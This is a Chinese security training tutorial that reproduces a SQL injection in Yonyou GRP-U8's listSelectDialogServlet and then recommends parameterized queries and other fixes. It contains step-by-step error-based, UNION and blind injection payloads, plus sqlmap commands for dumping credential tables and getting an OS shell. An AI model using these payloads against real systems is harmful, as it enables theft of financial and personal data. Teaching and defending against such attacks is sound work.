1. 项目概述与背景
最近在梳理一些历史漏洞案例,准备内部安全培训材料时,又翻到了用友GRP-U8这个老熟人。GRP-U8作为一款面向政府、事业单位的财务管理软件,其稳定性和安全性本应是重中之重,但历史上曝出的多个安全漏洞却让人捏一把汗。今天要复现的这个listSelectDialogServlet接口SQL注入漏洞,就是一个非常典型的“因功能设计疏忽导致的安全短板”。这个漏洞的利用门槛不高,但危害却不小,攻击者可以直接通过构造特定的HTTP请求,绕过身份认证,在数据库层面执行任意SQL命令,轻则窃取敏感业务数据,重则可能获取服务器控制权。对于还在使用受影响版本的单位来说,这无疑是一个需要立即关注和处置的安全风险。接下来,我会从一个安全研究者的角度,带你完整走一遍这个漏洞的复现过程,并深入分析其成因和防御思路,无论你是安全工程师、渗透测试人员,还是负责系统运维的同事,都能从中获得直接的参考价值。
2. 漏洞原理深度剖析
2.1 漏洞接口定位与功能逻辑
用友GRP-U8软件体系庞大,包含大量Servlet组件用于处理前端请求。listSelectDialogServlet这个接口,从命名上就能猜出它的功能:提供一个列表选择对话框的数据。在实际业务中,这种对话框常用于用户选择部门、人员、项目等基础资料,前端传入查询条件,后端从数据库查询并返回JSON格式的列表数据。
问题就出在这个“查询条件”的拼接和处理上。为了追求开发的便捷性,开发人员很可能直接采用了字符串拼接的方式来构造SQL语句。例如,前端传递一个deptName参数用于按部门名称过滤,后端代码可能简单写成这样(此为模拟代码,用于说明原理):
String deptName = request.getParameter("deptName"); String sql = "SELECT * FROM u8_department WHERE dept_name LIKE '%" + deptName + "%'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql);这是一种最原始、也最危险的SQL语句构造方式。当攻击者传入的deptName参数不是一个普通的部门名,而是一段精心构造的SQL代码片段时,这段代码就会被原封不动地拼接到最终的SQL语句中并执行。
2.2 SQL注入攻击链的形成
以listSelectDialogServlet为例,一个正常的请求可能是这样的:GET /servlet/listSelectDialogServlet?node=dept&condition=name like '行政'
后端据此生成的SQL可能是:SELECT id, code, name FROM t_department WHERE name LIKE '%行政%'
而攻击者可以构造恶意的condition参数值:condition=name like '行政' OR '1'='1
拼接后的SQL语句就变成了:SELECT id, code, name FROM t_department WHERE name LIKE '%行政' OR '1'='1%'
由于OR '1'='1'这个条件永远为真,这条查询语句就可能会返回t_department表中的所有记录,而不仅仅是名称包含“行政”的部门。这就实现了最基本的“绕过条件查询”。更危险的利用方式是使用UNION查询、子查询或者堆叠查询,来获取数据库中的其他表数据,甚至执行系统命令(取决于数据库权限和配置)。
注意:在实际漏洞中,注入点参数可能不是
condition,也可能是node、selectedId或其他未被公开的参数。关键在于找到那个未经任何过滤、直接拼接进SQL语句的参数。这需要结合代码审计或黑盒模糊测试(Fuzzing)来确定。
2.3 漏洞的独特危害性
这个漏洞之所以需要特别关注,有以下几个原因:
- 前置认证缺失:很多这类用于数据加载的Servlet,为了方便前端组件调用,往往没有强制进行会话验证或权限校验。攻击者无需登录,直接访问接口URL即可进行注入测试。
- 影响数据核心:GRP-U8管理的是单位的财务、资产、人员等核心数据。一旦被注入攻击,可能导致凭证信息、银行账号、人员身份证号、内部通讯录等极度敏感的信息泄露。
- 可能成为跳板:如果数据库运行在较高权限下(如
sa、root),并且数据库本身配置不当(如开启了xp_cmdshell等危险功能),那么SQL注入就有可能演变为远程命令执行(RCE),直接控制服务器。
3. 复现环境搭建与配置
3.1 靶场环境选择
为了安全、合法地复现漏洞,我们必须在隔离的环境中进行。通常有以下几种选择:
- 官方安装包+虚拟机:寻找受漏洞影响的特定版本GRP-U8安装包(例如历史版本U8 10.1),在VMware或VirtualBox中搭建一个Windows Server虚拟机进行安装。这是最贴近真实场景的方式,但资源消耗较大,且安装过程复杂。
- 漏洞集成靶场:一些开源的安全学习平台,如Vulhub、Vulstudy,可能会集成封装好的用友漏洞环境。这种方式一键启动,最为便捷。
- 自定义Docker环境:如果有漏洞的War包或已知的受影响版本,可以尝试自行构建Docker镜像。这对动手能力要求较高。
考虑到复现的便捷性,我们假设使用第二种方式,即一个预置的漏洞靶场。你需要确保你的实验环境满足以下基础要求:
- 一台性能足够的物理机或云服务器。
- 已安装Docker和Docker-Compose。
- 网络通畅,能够拉取镜像。
3.2 靶场启动与初始化
假设我们使用的靶场项目提供了docker-compose.yml文件,复现步骤如下:
# 1. 拉取靶场项目代码(此处以示例项目为例) git clone https://github.com/example/yonyou-grpu8-vuln-demo.git cd yonyou-grpu8-vuln-demo # 2. 使用docker-compose一键启动环境 docker-compose up -d # 3. 查看容器状态,确认服务已正常启动 docker-compose ps启动成功后,通常可以通过浏览器访问http://your-ip:8080来看到GRP-U8的登录界面或相关应用页面。我们的目标不是登录,而是直接访问存在漏洞的Servlet接口。
实操心得:在启动靶场后,务必使用
docker logs <container_id>命令查看容器日志,确认中间件(如Tomcat)已成功启动且没有报错。有时数据库初始化脚本执行较慢,需要等待一两分钟再测试。
3.3 确定漏洞接口地址
在真实渗透测试或代码审计中,我们需要通过信息收集来发现listSelectDialogServlet的完整路径。常见方法有:
- 目录扫描:使用工具如
dirsearch、gobuster扫描/servlet/、/u8servlet/等常见路径。 - 源码分析:如果能有条件分析安装目录下的Web应用结构(如
webapps目录),在WEB-INF/web.xml文件中可以找到所有Servlet的映射路径。 - 历史漏洞报告:参考公开的漏洞详情,里面通常会给出确切的URL路径。
假设通过信息收集,我们确定漏洞接口的完整URL为:http://your-ip:8080/yyoa/servlet/listSelectDialogServlet
4. 手工注入漏洞复现过程
手工注入能帮助我们最深刻地理解漏洞原理。我们使用Burp Suite作为主要的测试工具。
4.1 初步探测与注入点识别
首先,我们使用浏览器或Burp Repeater发送一个最基础的GET请求,观察正常响应。
GET /yyoa/servlet/listSelectDialogServlet?node=dept HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0... Accept: application/json, text/javascript, */*; q=0.01正常情况可能返回一个JSON数组,包含部门列表,也可能返回一个HTML格式的选择框代码。记录下正常响应的长度、状态码和内容特征。
接下来,开始注入探测。我们尝试在参数后添加单引号',这是测试SQL注入最经典的起点。
GET /yyoa/servlet/listSelectDialogServlet?node=dept' HTTP/1.1观察响应:
- 如果返回数据库错误信息(如包含“SQL”、“Syntax”、“JDBC”、“MySQL”、“Oracle”等关键词),这强烈暗示存在SQL注入,并且错误信息被直接返回,属于“报错型注入”。
- 如果返回空结果、异常状态码(如500)或与正常请求明显不同的内容,也暗示参数被带入SQL执行并引发了异常,只是被应用层捕获而未详细输出。
- 如果返回结果与正常请求无异,则可能需要尝试布尔盲注或时间盲注。
假设我们收到了一个包含“SQL syntax error”的响应,那么可以确认node参数存在注入点,并且是报错型注入。
4.2 利用报错注入提取信息
报错注入是一种高效的信息提取手段。以MySQL数据库为例,我们可以利用updatexml()或extractvalue()函数的参数错误来带出查询结果。
步骤一:判断数据库类型及版本
node=dept' AND updatexml(1,concat(0x7e,version(),0x7e),1)--+这个payload的含义是:当node=dept条件满足时,执行updatexml函数。该函数第二个参数本应是合法的XPath路径,但我们传入的是由波浪号~、version()函数结果、波浪号~拼接的字符串,这会导致XPath语法错误,从而在报错信息中将version()的执行结果(即数据库版本)显示出来。
如果看到报错信息中包含类似“~5.7.35~”的内容,就说明数据库是MySQL 5.7.35。
步骤二:获取当前数据库名
node=dept' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+报错信息中会显示当前操作所在的数据库名称。
步骤三:枚举数据库中的表这一步需要用到information_schema.tables系统表。
node=dept' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e),1)--+通过修改LIMIT后的数字(如1,1,2,1),可以逐个获取表名。重点关注名称中包含user、admin、account、password、salary、voucher(凭证)等关键词的表。
步骤四:获取指定表的列名假设我们找到了一个名为u8_user的表。
node=dept' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='u8_user' LIMIT 0,1),0x7e),1)--+同样通过修改LIMIT来遍历,寻找username、loginid、password、encrypted_pwd等字段。
步骤五:提取敏感数据假设u8_user表有login_name和password字段。
node=dept' AND updatexml(1,concat(0x7e,(SELECT concat(login_name,':',password) FROM u8_user LIMIT 0,1),0x7e),1)--+这样就能提取出第一条用户记录的账号和密码。注意,updatexml函数一次最多只能返回32位长度(取决于版本),如果数据过长,可能需要使用substring()函数分段截取。
注意事项:上述Payload中的
--+是MySQL的注释符,用于注释掉原SQL语句中后续可能存在的其他条件,确保我们的Payload能完整执行。在Oracle中注释符是--,在SQL Server中是--。在实际测试中,如果--+无效,可以尝试#(URL编码为%23)。
4.3 联合查询注入作为备选方案
如果报错注入被拦截或无法使用,联合查询(UNION SELECT)是另一种直接的数据获取方式。但使用UNION的前提是,我们需要知道原SQL查询语句返回的列数。
步骤一:判断列数使用ORDER BY子句进行判断。
node=dept' ORDER BY 5--+不断增加数字(5,6,7...),直到页面返回错误。假设ORDER BY 7时报错,ORDER BY 6正常,则说明原查询返回6列。
步骤二:判断各列的数据类型和可显示位置使用UNION SELECT构造一个与原查询列数相同的查询,并用数字、字符串标记每个位置。
node=dept' UNION SELECT 1,'a','b','c','d','e'--+观察返回的页面,看我们注入的1,'a'等数据在页面的哪个位置被显示出来。假设页面中某个列表项显示为a,说明第二列是显示位。
步骤三:利用显示位提取数据
node=dept' UNION SELECT 1,database(),user(),version(),5,6--+这样,数据库名、当前用户、版本号就会显示在页面对应的位置上。后续提取表名、列名、数据的逻辑与报错注入类似,只是将子查询的结果放在UNION SELECT的显示位上。
5. 自动化工具辅助验证
手工注入虽然透彻,但效率较低。在实际安全评估中,我们常使用SQLMap这样的自动化工具进行快速验证和深度利用。
5.1 SQLMap基础探测
首先,将含有可疑参数的请求保存到文件request.txt中,或直接使用-u参数指定URL。
# 使用保存的请求文件进行测试 sqlmap -r request.txt --batch --risk=3 --level=3 # 或直接指定URL和参数 sqlmap -u "http://your-ip:8080/yyoa/servlet/listSelectDialogServlet?node=dept" --batch --risk=3 --level=3--batch: 自动选择默认选项,非交互模式。--risk=3: 提高风险等级,尝试更多危险的测试语句(如OR-based注入)。--level=3: 提高测试等级,会检测Cookie、User-Agent等HTTP头中的注入点。
5.2 深入利用与数据提取
如果SQLMap确认存在注入点,可以进行以下深入操作:
# 1. 获取当前数据库名和用户 sqlmap -r request.txt --current-db --current-user # 2. 列出所有数据库 sqlmap -r request.txt --dbs # 3. 列出指定数据库(假设为grpu8)中的所有表 sqlmap -r request.txt -D grpu8 --tables # 4. 列出指定表(假设为u8_user)中的所有列 sqlmap -r request.txt -D grpu8 -T u8_user --columns # 5. 导出指定表的所有数据 sqlmap -r request.txt -D grpu8 -T u8_user --dump # 6. 尝试获取操作系统shell(需要高权限且数据库支持) sqlmap -r request.txt --os-shell实操心得:使用SQLMap时,
--proxy=http://127.0.0.1:8080参数非常有用,可以将流量代理到Burp Suite,方便观察SQLMap发送的具体Payload和学习其绕过技巧。另外,对于某些有防护(如简单的WAF)的场景,可以尝试使用--tamper脚本(如space2comment,randomcase)来混淆Payload。
5.3 工具使用中的注意事项
- 合法性:仅在你自己拥有完全控制权的靶场环境或获得明确书面授权的范围内使用。
- 谨慎使用
--os-shell和--os-cmd:这些功能会尝试在数据库服务器上执行系统命令,行为非常危险,在非授权测试中绝对禁止使用。 - 控制请求频率:使用
--delay=1(每次请求延迟1秒)或--threads=1(单线程)可以降低请求速度,避免对目标服务造成过大压力或触发速率限制告警。 - 注意编码问题:如果目标系统是GBK等编码,可能需要关注宽字节注入等特殊情况,SQLMap的
--tamper脚本中也有对应的处理脚本。
6. 漏洞根因分析与修复建议
6.1 代码层面问题溯源
归根结底,此类漏洞的产生源于不安全的编码实践:
- 动态字符串拼接:直接使用
+或字符串格式化方法将用户输入拼接到SQL语句中。 - 未使用预编译语句(PreparedStatement):这是防止SQL注入最有效、最根本的手段。预编译会将SQL语句的骨架和参数数据分开发送,数据库会区分指令和数据,从而从根本上杜绝参数被解释为指令的可能。
- 过滤不彻底或存在绕过:如果采用过滤危险关键词(如
union,select,')的方式,可能存在大小写、双写、编码绕过等问题,不是治本之策。 - 错误信息泄露:将详细的数据库错误信息直接返回给前端,为攻击者提供了宝贵的调试信息。
6.2 修复方案
对于开发人员,修复方案是明确的:
强制使用参数化查询(预编译):这是黄金法则。将所有涉及用户输入的数据库操作都改为使用
PreparedStatement。// 错误示例 String sql = "SELECT * FROM t WHERE id = " + userInput; Statement stmt = conn.createStatement(); stmt.executeQuery(sql); // 正确示例 String sql = "SELECT * FROM t WHERE id = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(userInput)); // 或 setString, setDate等 ResultSet rs = pstmt.executeQuery();使用安全的ORM框架:如MyBatis,但要注意,MyBatis中
${}拼接依然存在风险,应优先使用#{}。<!-- 错误示例,存在注入风险 --> <select id="selectDept" parameterType="String" resultType="Dept"> SELECT * FROM t_department WHERE name LIKE '%${name}%' </select> <!-- 正确示例 --> <select id="selectDept" parameterType="String" resultType="Dept"> SELECT * FROM t_department WHERE name LIKE CONCAT('%', #{name}, '%') </select>实施最小权限原则:为Web应用连接数据库的账户分配最小必要的权限,通常只授予其特定表的
SELECT、INSERT、UPDATE、DELETE权限,绝不授予DROP、CREATE、ALTER或FILE、PROCESS等系统级权限。自定义全局过滤器:在Web应用层,对传入的参数进行严格的合法性校验(如类型、长度、格式),并统一过滤或转义少数确实无法使用预编译的特殊字符(如排序字段名等)。但此方法应作为辅助,而非主要防御手段。
关闭详细错误回显:在生产环境中,配置应用服务器和数据库驱动,不将详细的堆栈信息和SQL错误返回给客户端,而是记录到日志中,前端只返回通用的错误提示。
6.3 对于运维和安全人员的建议
- 漏洞扫描与补丁更新:定期使用专业的Web漏洞扫描器对在用系统进行扫描。及时关注厂商(用友)发布的安全公告和补丁,并安排升级。
- 部署WAF:在应用前端部署Web应用防火墙(WAF),可以在一定程度上拦截已知的SQL注入攻击模式,为修复漏洞争取时间。但WAF可能存在绕过风险,不能作为唯一防护措施。
- 网络层面隔离:将包含敏感数据的数据库服务器部署在内网,严格限制外网访问。Web应用服务器与数据库服务器之间也应设置严格的访问控制策略(如防火墙规则)。
- 安全开发培训:推动开发团队进行安全编码培训,将“使用参数化查询”作为一项必须遵守的编码规范。
7. 复现过程中的常见问题与排查
在复现过程中,你可能会遇到以下问题:
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 发送Payload后返回空白页或500错误 | 1. Payload语法错误导致数据库查询异常。 2. 应用有全局异常处理,捕获了SQL错误。 3. 参数名或接口路径错误。 | 1. 检查Payload语法,特别是引号、括号的闭合和注释符的使用。 2. 尝试更简单的Payload,如 node=dept' AND '1'='1和node=dept' AND '1'='2,观察页面内容或响应长度的差异(布尔盲注特征)。3. 确认请求的URL、HTTP方法(GET/POST)、参数名完全正确。 |
| SQLMap无法检测到注入点 | 1. 注入点存在于Cookie、User-Agent等HTTP头中。 2. 存在Token、CSRF等动态参数。 3. 有基础的WAF或过滤机制拦截了SQLMap的探测流量。 | 1. 使用--level和--risk提高检测等级,如--level=5 --risk=3。2. 使用 --random-agent随机化User-Agent,或使用--cookie手动指定会话。3. 使用 --tamper参数尝试绕过,例如--tamper=space2comment。4. 将Burp抓到的完整请求(含Cookie等)保存到文件,用 -r参数让SQLMap分析。 |
| 报错注入时,返回信息被截断 | updatexml()或extractvalue()函数有长度限制(约32字符)。 | 使用substring()或mid()函数分段提取数据。例如:updatexml(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables),1,30),0x7e),1),然后不断调整起始位置获取后续数据。 |
| 联合查询注入时,页面没有显示位 | 原查询结果可能用于逻辑判断,并不直接渲染到前端页面。 | 尝试使用“报错注入”或“时间盲注”。时间盲注Payload示例:node=dept' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--+,通过观察响应是否延迟5秒来判断条件真假。 |
| 靶场环境启动失败,数据库连接不上 | 1. 端口冲突。 2. 数据库初始化脚本执行失败。 3. 容器内存不足。 | 1. 检查docker-compose.yml中映射的端口是否被占用。2. 查看数据库容器的日志,排查初始化错误。 3. 为Docker分配更多内存资源,或优化虚拟机设置。 |
最后再分享一个小技巧:在复现任何历史漏洞时,养成“三重验证”的习惯。第一重,用最简单的手工Payload(如单引号)验证漏洞是否存在;第二重,用更复杂的Payload(如报错注入)验证漏洞的可利用性和数据库类型;第三重,在确保环境绝对隔离的前提下,使用自动化工具进行深度利用和数据提取验证。这个过程不仅能帮你确认漏洞,更能让你理解漏洞利用的完整链条,在后续的漏洞挖掘和防御中才会更有方向感。对于像用友GRP-U8这类广泛使用的企业级软件,其漏洞往往具有模式化的特点,深入分析一个,就能举一反三,在审计或测试同类系统时节省大量时间。